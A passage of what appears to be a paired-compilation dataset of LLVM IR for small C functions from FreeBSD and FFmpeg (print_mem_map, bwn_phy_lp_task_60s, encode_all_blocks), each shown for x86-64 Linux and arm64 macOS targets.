@.str.4 = private unnamed_addr constant [20 x i8] c" card addr = 0x%x00\00", align 1
@.str.5 = private unnamed_addr constant [20 x i8] c" host addr = 0x%x00\00", align 1
@str = private unnamed_addr constant [43 x i8] c"\09Wrong length for memory mapping sub-tuple\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @print_mem_map], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal ptr @print_mem_map(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = tail call i32 @CIS_FEAT_MEMORY(i32 noundef %0) #4
switch i32 %4, label %83 [
i32 128, label %25
i32 130, label %5
i32 131, label %14
]
5: ; preds = %3
%6 = ptrtoint ptr %2 to i64
%7 = ptrtoint ptr %1 to i64
%8 = sub i64 %6, %7
%9 = icmp slt i64 %8, 5
br i1 %9, label %80, label %10
10: ; preds = %5
%11 = tail call i32 @tpl16(ptr noundef %1) #4
%12 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, i32 noundef %11)
%13 = getelementptr inbounds i8, ptr %1, i64 8
br label %83
14: ; preds = %3
%15 = ptrtoint ptr %2 to i64
%16 = ptrtoint ptr %1 to i64
%17 = sub i64 %15, %16
%18 = icmp slt i64 %17, 16
br i1 %18, label %80, label %19
19: ; preds = %14
%20 = getelementptr inbounds i8, ptr %1, i64 8
%21 = tail call i32 @tpl16(ptr noundef nonnull %20) #4
%22 = tail call i32 @tpl16(ptr noundef %1) #4
%23 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1, i32 noundef %21, i32 noundef %22)
%24 = getelementptr inbounds i8, ptr %1, i64 16
br label %83
25: ; preds = %3
%26 = icmp ugt ptr %2, %1
br i1 %26, label %27, label %80
27: ; preds = %25
%28 = getelementptr inbounds i8, ptr %1, i64 4
%29 = load i32, ptr %1, align 4, !tbaa !6
%30 = tail call i32 @CIS_MEM_LENSZ(i32 noundef %29) #4
%31 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%32 = add nsw i32 %31, %30
%33 = load i32, ptr @CIS_MEM_HOST, align 4, !tbaa !6
%34 = and i32 %33, %29
%35 = icmp eq i32 %34, 0
br i1 %35, label %39, label %36
36: ; preds = %27
%37 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%38 = add nsw i32 %37, %32
br label %39
39: ; preds = %36, %27
%40 = phi i32 [ %38, %36 ], [ %32, %27 ]
%41 = tail call i32 @CIS_MEM_WINS(i32 noundef %29) #4
%42 = icmp sgt i32 %41, 0
br i1 %42, label %43, label %83
43: ; preds = %39
%44 = ptrtoint ptr %2 to i64
%45 = sext i32 %40 to i64
br label %46
46: ; preds = %43, %75
%47 = phi i32 [ 0, %43 ], [ %54, %75 ]
%48 = phi ptr [ %28, %43 ], [ %76, %75 ]
%49 = ptrtoint ptr %48 to i64
%50 = sub i64 %44, %49
%51 = ashr exact i64 %50, 2
%52 = icmp slt i64 %51, %45
br i1 %52, label %80, label %53
53: ; preds = %46
%54 = add nuw nsw i32 %47, 1
%55 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.2, i32 noundef %54)
%56 = tail call i32 @CIS_MEM_LENSZ(i32 noundef %29) #4
%57 = or i32 %56, 16
%58 = tail call i32 @print_num(i32 noundef %57, ptr noundef nonnull @.str.3, ptr noundef %48, i32 noundef 0) #4
%59 = sext i32 %58 to i64
%60 = getelementptr inbounds i32, ptr %48, i64 %59
%61 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%62 = or i32 %61, 16
%63 = tail call i32 @print_num(i32 noundef %62, ptr noundef nonnull @.str.4, ptr noundef %60, i32 noundef 0) #4
%64 = sext i32 %63 to i64
%65 = getelementptr inbounds i32, ptr %60, i64 %64
%66 = load i32, ptr @CIS_MEM_HOST, align 4, !tbaa !6
%67 = and i32 %66, %29
%68 = icmp eq i32 %67, 0
br i1 %68, label %75, label %69
69: ; preds = %53
%70 = tail call i32 @CIS_MEM_ADDRSZ(i32 noundef %29) #4
%71 = or i32 %70, 16
%72 = tail call i32 @print_num(i32 noundef %71, ptr noundef nonnull @.str.5, ptr noundef %65, i32 noundef 0) #4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds i32, ptr %65, i64 %73
br label %75
75: ; preds = %69, %53
%76 = phi ptr [ %74, %69 ], [ %65, %53 ]
%77 = tail call i32 @putchar(i8 noundef signext 10) #4
%78 = tail call i32 @CIS_MEM_WINS(i32 noundef %29) #4
%79 = icmp slt i32 %54, %78
br i1 %79, label %46, label %83, !llvm.loop !10
80: ; preds = %46, %25, %14, %5
%81 = phi ptr [ %1, %14 ], [ %1, %5 ], [ %1, %25 ], [ %48, %46 ]
%82 = tail call i32 @puts(ptr nonnull dereferenceable(1) @str)
br label %83
83: ; preds = %75, %39, %10, %19, %3, %80
%84 = phi ptr [ %81, %80 ], [ %1, %3 ], [ %24, %19 ], [ %13, %10 ], [ %28, %39 ], [ %76, %75 ]
ret ptr %84
}
declare i32 @CIS_FEAT_MEMORY(i32 noundef) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #2
declare i32 @tpl16(ptr noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_LENSZ(i32 noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_ADDRSZ(i32 noundef) local_unnamed_addr #1
declare i32 @CIS_MEM_WINS(i32 noundef) local_unnamed_addr #1
declare i32 @print_num(i32 noundef, ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @putchar(i8 noundef signext) local_unnamed_addr #1
; Function Attrs: nofree nounwind
declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #3
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nofree nounwind "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nofree nounwind }
attributes #4 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = distinct !{!10, !11}
!11 = !{!"llvm.loop.mustprogress"}
| freebsd_usr.sbin_dumpcis_extr_printcis.c_print_mem_map |
; ModuleID = 'AnghaBench/freebsd/sys/dev/bwn/extr_if_bwn_phy_lp.c_bwn_phy_lp_task_60s.c'
source_filename = "AnghaBench/freebsd/sys/dev/bwn/extr_if_bwn_phy_lp.c_bwn_phy_lp_task_60s.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local void @bwn_phy_lp_task_60s(ptr noundef %0) local_unnamed_addr #0 {
%2 = tail call i32 @bwn_phy_lp_calib(ptr noundef %0) #2
ret void
}
declare i32 @bwn_phy_lp_calib(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/freebsd/sys/dev/bwn/extr_if_bwn_phy_lp.c_bwn_phy_lp_task_60s.c'
source_filename = "AnghaBench/freebsd/sys/dev/bwn/extr_if_bwn_phy_lp.c_bwn_phy_lp_task_60s.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @bwn_phy_lp_task_60s(ptr noundef %0) local_unnamed_addr #0 {
%2 = tail call i32 @bwn_phy_lp_calib(ptr noundef %0) #2
ret void
}
declare i32 @bwn_phy_lp_calib(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| freebsd_sys_dev_bwn_extr_if_bwn_phy_lp.c_bwn_phy_lp_task_60s |
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_flashsv2enc.c_encode_all_blocks.c'
source_filename = "AnghaBench/FFmpeg/libavcodec/extr_flashsv2enc.c_encode_all_blocks.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_7__ = type { i32, i32, i32, i32, i32, i32, i32, i32, i32, i32, i32, i32, i32, i32, ptr, i64, ptr, ptr }
%struct.TYPE_8__ = type { i64, i64, i64, i64, i64, i64, i32 }
@COLORSPACE_15_7 = dso_local local_unnamed_addr global i32 0, align 4
@HAS_DIFF_BLOCKS = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @encode_all_blocks], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @encode_all_blocks(ptr noundef %0, i32 noundef %1) #0 {
%3 = load i32, ptr %0, align 8, !tbaa !5
%4 = icmp sgt i32 %3, 0
%5 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 1
br i1 %4, label %8, label %6
6: ; preds = %2
%7 = load i32, ptr %5, align 4, !tbaa !12
br label %111
8: ; preds = %2
%9 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 17
%10 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 16
%11 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 15
%12 = icmp eq i32 %1, 0
%13 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 14
%14 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 2
%15 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 3
%16 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 4
%17 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 13
%18 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 12
%19 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 11
%20 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 10
%21 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 8
%22 = load i32, ptr %5, align 4, !tbaa !12
br label %23
23: ; preds = %8, %105
%24 = phi i32 [ %3, %8 ], [ %106, %105 ]
%25 = phi i32 [ %22, %8 ], [ %107, %105 ]
%26 = phi i32 [ %22, %8 ], [ %108, %105 ]
%27 = phi i32 [ 0, %8 ], [ %109, %105 ]
%28 = icmp sgt i32 %26, 0
br i1 %28, label %29, label %105
29: ; preds = %23, %99
%30 = phi i32 [ %100, %99 ], [ %25, %23 ]
%31 = phi i32 [ %100, %99 ], [ %26, %23 ]
%32 = phi i32 [ %101, %99 ], [ 0, %23 ]
%33 = load ptr, ptr %9, align 8, !tbaa !13
%34 = mul nsw i32 %31, %27
%35 = add nsw i32 %34, %32
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36
%38 = load ptr, ptr %10, align 8, !tbaa !14
%39 = getelementptr inbounds %struct.TYPE_8__, ptr %38, i64 %36
%40 = load i64, ptr %11, align 8, !tbaa !15
%41 = icmp eq i64 %40, 0
%42 = load i32, ptr @COLORSPACE_15_7, align 4
%43 = select i1 %41, i32 0, i32 %42
%44 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 6
store i32 %43, ptr %44, align 8, !tbaa !16
br i1 %12, label %49, label %45
45: ; preds = %29
store i64 0, ptr %37, align 8, !tbaa !18
%46 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 2
%47 = load i64, ptr %46, align 8, !tbaa !19
%48 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 1
store i64 %47, ptr %48, align 8, !tbaa !20
br label %67
49: ; preds = %29
%50 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 5
%51 = load i64, ptr %50, align 8, !tbaa !21
%52 = icmp eq i64 %51, 0
br i1 %52, label %53, label %55
53: ; preds = %49
%54 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 4
store i64 0, ptr %54, align 8, !tbaa !22
tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %37, i8 0, i64 16, i1 false)
br label %99
55: ; preds = %49
%56 = load i64, ptr %37, align 8, !tbaa !18
%57 = icmp eq i64 %56, 0
br i1 %57, label %58, label %64
58: ; preds = %55
%59 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 1
%60 = load i64, ptr %59, align 8, !tbaa !20
%61 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 2
%62 = load i64, ptr %61, align 8, !tbaa !19
%63 = icmp eq i64 %60, %62
br i1 %63, label %67, label %64
64: ; preds = %58, %55
%65 = load i32, ptr @HAS_DIFF_BLOCKS, align 4, !tbaa !23
%66 = or i32 %65, %43
store i32 %66, ptr %44, align 8, !tbaa !16
br label %67
67: ; preds = %64, %58, %45
%68 = load ptr, ptr %13, align 8, !tbaa !24
%69 = load i32, ptr %14, align 8, !tbaa !25
%70 = mul nsw i32 %69, 3
%71 = load i32, ptr %15, align 4, !tbaa !26
%72 = mul i32 %71, %27
%73 = mul i32 %72, %70
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds i32, ptr %68, i64 %74
%76 = load i32, ptr %16, align 8, !tbaa !27
%77 = mul i32 %32, 3
%78 = mul i32 %77, %76
%79 = sext i32 %78 to i64
%80 = getelementptr inbounds i32, ptr %75, i64 %79
%81 = load i32, ptr %18, align 8, !tbaa !28
%82 = load i32, ptr %19, align 4, !tbaa !29
%83 = tail call i32 @encode_block(ptr noundef nonnull %0, ptr noundef nonnull %17, ptr noundef nonnull %37, ptr noundef %39, ptr noundef %80, i32 noundef %70, i32 noundef %81, i32 noundef %82, i32 noundef %1) #3
%84 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 5
%85 = load i64, ptr %84, align 8, !tbaa !21
%86 = icmp eq i64 %85, 0
br i1 %86, label %90, label %87
87: ; preds = %67
%88 = load i32, ptr %20, align 8, !tbaa !30
%89 = add nsw i32 %88, 1
store i32 %89, ptr %20, align 8, !tbaa !30
br label %90
90: ; preds = %87, %67
%91 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36, i32 3
%92 = load <2 x i64>, ptr %91, align 8, !tbaa !31
%93 = load <2 x i32>, ptr %21, align 8, !tbaa !23
%94 = trunc <2 x i64> %92 to <2 x i32>
%95 = add <2 x i32> %93, %94
store <2 x i32> %95, ptr %21, align 8, !tbaa !23
%96 = icmp eq i32 %83, 0
br i1 %96, label %97, label %127
97: ; preds = %90
%98 = load i32, ptr %5, align 4, !tbaa !12
br label %99
99: ; preds = %97, %53
%100 = phi i32 [ %98, %97 ], [ %30, %53 ]
%101 = add nuw nsw i32 %32, 1
%102 = icmp slt i32 %101, %100
br i1 %102, label %29, label %103, !llvm.loop !32
103: ; preds = %99
%104 = load i32, ptr %0, align 8, !tbaa !5
br label %105
105: ; preds = %103, %23
%106 = phi i32 [ %104, %103 ], [ %24, %23 ]
%107 = phi i32 [ %100, %103 ], [ %25, %23 ]
%108 = phi i32 [ %100, %103 ], [ %26, %23 ]
%109 = add nuw nsw i32 %27, 1
%110 = icmp slt i32 %109, %106
br i1 %110, label %23, label %111, !llvm.loop !34
111: ; preds = %105, %6
%112 = phi i32 [ %7, %6 ], [ %107, %105 ]
%113 = phi i32 [ %3, %6 ], [ %106, %105 ]
%114 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 2
%115 = load i32, ptr %114, align 8, !tbaa !25
%116 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 6
%117 = load i32, ptr %116, align 8, !tbaa !35
%118 = mul i32 %115, 3
%119 = mul i32 %118, %117
%120 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 5
%121 = load i32, ptr %120, align 4, !tbaa !36
%122 = add nsw i32 %121, %119
store i32 %122, ptr %120, align 4, !tbaa !36
%123 = mul nsw i32 %112, %113
%124 = getelementptr inbounds %struct.TYPE_7__, ptr %0, i64 0, i32 7
%125 = load i32, ptr %124, align 4, !tbaa !37
%126 = add nsw i32 %125, %123
store i32 %126, ptr %124, align 4, !tbaa !37
br label %127
127: ; preds = %90, %111
%128 = phi i32 [ 0, %111 ], [ %83, %90 ]
ret i32 %128
}
declare i32 @encode_block(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"TYPE_7__", !7, i64 0, !7, i64 4, !7, i64 8, !7, i64 12, !7, i64 16, !7, i64 20, !7, i64 24, !7, i64 28, !7, i64 32, !7, i64 36, !7, i64 40, !7, i64 44, !7, i64 48, !7, i64 52, !10, i64 56, !11, i64 64, !10, i64 72, !10, i64 80}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!"long", !8, i64 0}
!12 = !{!6, !7, i64 4}
!13 = !{!6, !10, i64 80}
!14 = !{!6, !10, i64 72}
!15 = !{!6, !11, i64 64}
!16 = !{!17, !7, i64 48}
!17 = !{!"TYPE_8__", !11, i64 0, !11, i64 8, !11, i64 16, !11, i64 24, !11, i64 32, !11, i64 40, !7, i64 48}
!18 = !{!17, !11, i64 0}
!19 = !{!17, !11, i64 16}
!20 = !{!17, !11, i64 8}
!21 = !{!17, !11, i64 40}
!22 = !{!17, !11, i64 32}
!23 = !{!7, !7, i64 0}
!24 = !{!6, !10, i64 56}
!25 = !{!6, !7, i64 8}
!26 = !{!6, !7, i64 12}
!27 = !{!6, !7, i64 16}
!28 = !{!6, !7, i64 48}
!29 = !{!6, !7, i64 44}
!30 = !{!6, !7, i64 40}
!31 = !{!11, !11, i64 0}
!32 = distinct !{!32, !33}
!33 = !{!"llvm.loop.mustprogress"}
!34 = distinct !{!34, !33}
!35 = !{!6, !7, i64 24}
!36 = !{!6, !7, i64 20}
!37 = !{!6, !7, i64 28}
| ; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_flashsv2enc.c_encode_all_blocks.c'
source_filename = "AnghaBench/FFmpeg/libavcodec/extr_flashsv2enc.c_encode_all_blocks.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_8__ = type { i64, i64, i64, i64, i64, i64, i32 }
@COLORSPACE_15_7 = common local_unnamed_addr global i32 0, align 4
@HAS_DIFF_BLOCKS = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @encode_all_blocks], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @encode_all_blocks(ptr noundef %0, i32 noundef %1) #0 {
%3 = load i32, ptr %0, align 8, !tbaa !6
%4 = icmp sgt i32 %3, 0
%5 = getelementptr inbounds i8, ptr %0, i64 4
br i1 %4, label %8, label %6
6: ; preds = %2
%7 = load i32, ptr %5, align 4, !tbaa !13
br label %111
8: ; preds = %2
%9 = getelementptr inbounds i8, ptr %0, i64 80
%10 = getelementptr inbounds i8, ptr %0, i64 72
%11 = getelementptr inbounds i8, ptr %0, i64 64
%12 = icmp eq i32 %1, 0
%13 = getelementptr inbounds i8, ptr %0, i64 56
%14 = getelementptr inbounds i8, ptr %0, i64 8
%15 = getelementptr inbounds i8, ptr %0, i64 12
%16 = getelementptr inbounds i8, ptr %0, i64 16
%17 = getelementptr inbounds i8, ptr %0, i64 52
%18 = getelementptr inbounds i8, ptr %0, i64 48
%19 = getelementptr inbounds i8, ptr %0, i64 44
%20 = getelementptr inbounds i8, ptr %0, i64 40
%21 = getelementptr inbounds i8, ptr %0, i64 32
%22 = load i32, ptr %5, align 4, !tbaa !13
br label %23
23: ; preds = %8, %105
%24 = phi i32 [ %3, %8 ], [ %106, %105 ]
%25 = phi i32 [ %22, %8 ], [ %107, %105 ]
%26 = phi i32 [ %22, %8 ], [ %108, %105 ]
%27 = phi i32 [ 0, %8 ], [ %109, %105 ]
%28 = icmp sgt i32 %26, 0
br i1 %28, label %29, label %105
29: ; preds = %23, %99
%30 = phi i32 [ %100, %99 ], [ %25, %23 ]
%31 = phi i32 [ %100, %99 ], [ %26, %23 ]
%32 = phi i32 [ %101, %99 ], [ 0, %23 ]
%33 = load ptr, ptr %9, align 8, !tbaa !14
%34 = mul nsw i32 %31, %27
%35 = add nsw i32 %34, %32
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds %struct.TYPE_8__, ptr %33, i64 %36
%38 = load ptr, ptr %10, align 8, !tbaa !15
%39 = getelementptr inbounds %struct.TYPE_8__, ptr %38, i64 %36
%40 = load i64, ptr %11, align 8, !tbaa !16
%41 = icmp eq i64 %40, 0
%42 = load i32, ptr @COLORSPACE_15_7, align 4
%43 = select i1 %41, i32 0, i32 %42
%44 = getelementptr inbounds i8, ptr %37, i64 48
store i32 %43, ptr %44, align 8, !tbaa !17
br i1 %12, label %49, label %45
45: ; preds = %29
store i64 0, ptr %37, align 8, !tbaa !19
%46 = getelementptr inbounds i8, ptr %37, i64 16
%47 = load i64, ptr %46, align 8, !tbaa !20
%48 = getelementptr inbounds i8, ptr %37, i64 8
store i64 %47, ptr %48, align 8, !tbaa !21
br label %67
49: ; preds = %29
%50 = getelementptr inbounds i8, ptr %37, i64 40
%51 = load i64, ptr %50, align 8, !tbaa !22
%52 = icmp eq i64 %51, 0
br i1 %52, label %53, label %55
53: ; preds = %49
%54 = getelementptr inbounds i8, ptr %37, i64 32
store i64 0, ptr %54, align 8, !tbaa !23
tail call void @llvm.memset.p0.i64(ptr noundef nonnull align 8 dereferenceable(16) %37, i8 0, i64 16, i1 false)
br label %99
55: ; preds = %49
%56 = load i64, ptr %37, align 8, !tbaa !19
%57 = icmp eq i64 %56, 0
br i1 %57, label %58, label %64
58: ; preds = %55
%59 = getelementptr inbounds i8, ptr %37, i64 8
%60 = load i64, ptr %59, align 8, !tbaa !21
%61 = getelementptr inbounds i8, ptr %37, i64 16
%62 = load i64, ptr %61, align 8, !tbaa !20
%63 = icmp eq i64 %60, %62
br i1 %63, label %67, label %64
64: ; preds = %58, %55
%65 = load i32, ptr @HAS_DIFF_BLOCKS, align 4, !tbaa !24
%66 = or i32 %65, %43
store i32 %66, ptr %44, align 8, !tbaa !17
br label %67
67: ; preds = %64, %58, %45
%68 = load ptr, ptr %13, align 8, !tbaa !25
%69 = load i32, ptr %14, align 8, !tbaa !26
%70 = mul nsw i32 %69, 3
%71 = load i32, ptr %15, align 4, !tbaa !27
%72 = mul i32 %71, %27
%73 = mul i32 %72, %70
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds i32, ptr %68, i64 %74
%76 = load i32, ptr %16, align 8, !tbaa !28
%77 = mul i32 %32, 3
%78 = mul i32 %77, %76
%79 = sext i32 %78 to i64
%80 = getelementptr inbounds i32, ptr %75, i64 %79
%81 = load i32, ptr %18, align 8, !tbaa !29
%82 = load i32, ptr %19, align 4, !tbaa !30
%83 = tail call i32 @encode_block(ptr noundef nonnull %0, ptr noundef nonnull %17, ptr noundef nonnull %37, ptr noundef %39, ptr noundef %80, i32 noundef %70, i32 noundef %81, i32 noundef %82, i32 noundef %1) #3
%84 = getelementptr inbounds i8, ptr %37, i64 40
%85 = load i64, ptr %84, align 8, !tbaa !22
%86 = icmp eq i64 %85, 0
br i1 %86, label %90, label %87
87: ; preds = %67
%88 = load i32, ptr %20, align 8, !tbaa !31
%89 = add nsw i32 %88, 1
store i32 %89, ptr %20, align 8, !tbaa !31
br label %90
90: ; preds = %87, %67
%91 = getelementptr inbounds i8, ptr %37, i64 24
%92 = load <2 x i64>, ptr %91, align 8, !tbaa !32
%93 = load <2 x i32>, ptr %21, align 8, !tbaa !24
%94 = trunc <2 x i64> %92 to <2 x i32>
%95 = add <2 x i32> %93, %94
store <2 x i32> %95, ptr %21, align 8, !tbaa !24
